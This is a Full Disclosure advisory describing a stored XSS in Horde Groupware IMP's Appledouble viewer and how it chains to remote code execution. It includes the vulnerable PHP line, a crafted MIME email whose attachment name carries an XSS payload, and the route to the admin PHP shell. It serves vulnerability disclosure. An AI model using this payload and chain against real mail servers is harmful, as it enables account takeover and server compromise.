FD - Half-click unauthenticated remote code execution on Horde Groupware IMP (from a stored XSS)

[Evan Tang <evan@zenith.hosting>]

https://blog.evan.lat/posts/CVE-2026-65053/

the blog talks about two vulns that are chainable together. for the sake of
brevity ill write up on the stored xss one.

in lib/Mime/Status.php, we see a pretty viable xss sink:

$out .= '<tr><td>' . $val . '</td></tr>';

xrefing this we see that most impls are sanitized with the exception of
lib/Mime/Viewer/Appledouble.php:

$data_name = $this->getConfigParam('imp_contents')->getPartName($data_part);
// ...
sprintf(_("This message contains a Macintosh file (named \"%s\")."),
$data_name)

exploiting this is trivial obviously. we just need to craft an email like
this:

From: d () x com
To: victim () target com
Subject: mac file
MIME-Version: 1.0
Content-Type: multipart/appledouble; boundary="BOUND"

--BOUND
Content-Type: application/applefile
Content-Transfer-Encoding: base64

cmVzb3VyY2UtZm9yay1ieXRlcw==

--BOUND
Content-Type: application/octet-stream; name="<img src=x
onerror=alert('hi')>"
Content-Disposition: attachment; filename="<img src=x onerror=alert('hu2')>"
Content-Transfer-Encoding: base64

ZGF0YS1mb3JrLWJ5dGVz

--BOUND--
given the nature of this xss it is very much wormable and turns our
existing arb file read to a half click exploit. obviously we wouldnt really
want to use a half click primitive just to read files (although grabbing db
creds is very trivial with these two vulns chained), so naturally we can
try to achieve rce with this xss worm primitive.


to get an rce from this is easy. we can either target an admin or craft an
xss worm thatll eventually reach an admin. admins can access a PHP shell
which let us run arbitrary php code, so we can simply use the xss to hit
the PHP shell at /horde/admin/phpshell.php


this constitutes a half click since the user simply needs to click on the
email to trigger the xss in question. an exp poc is provided in the blog.
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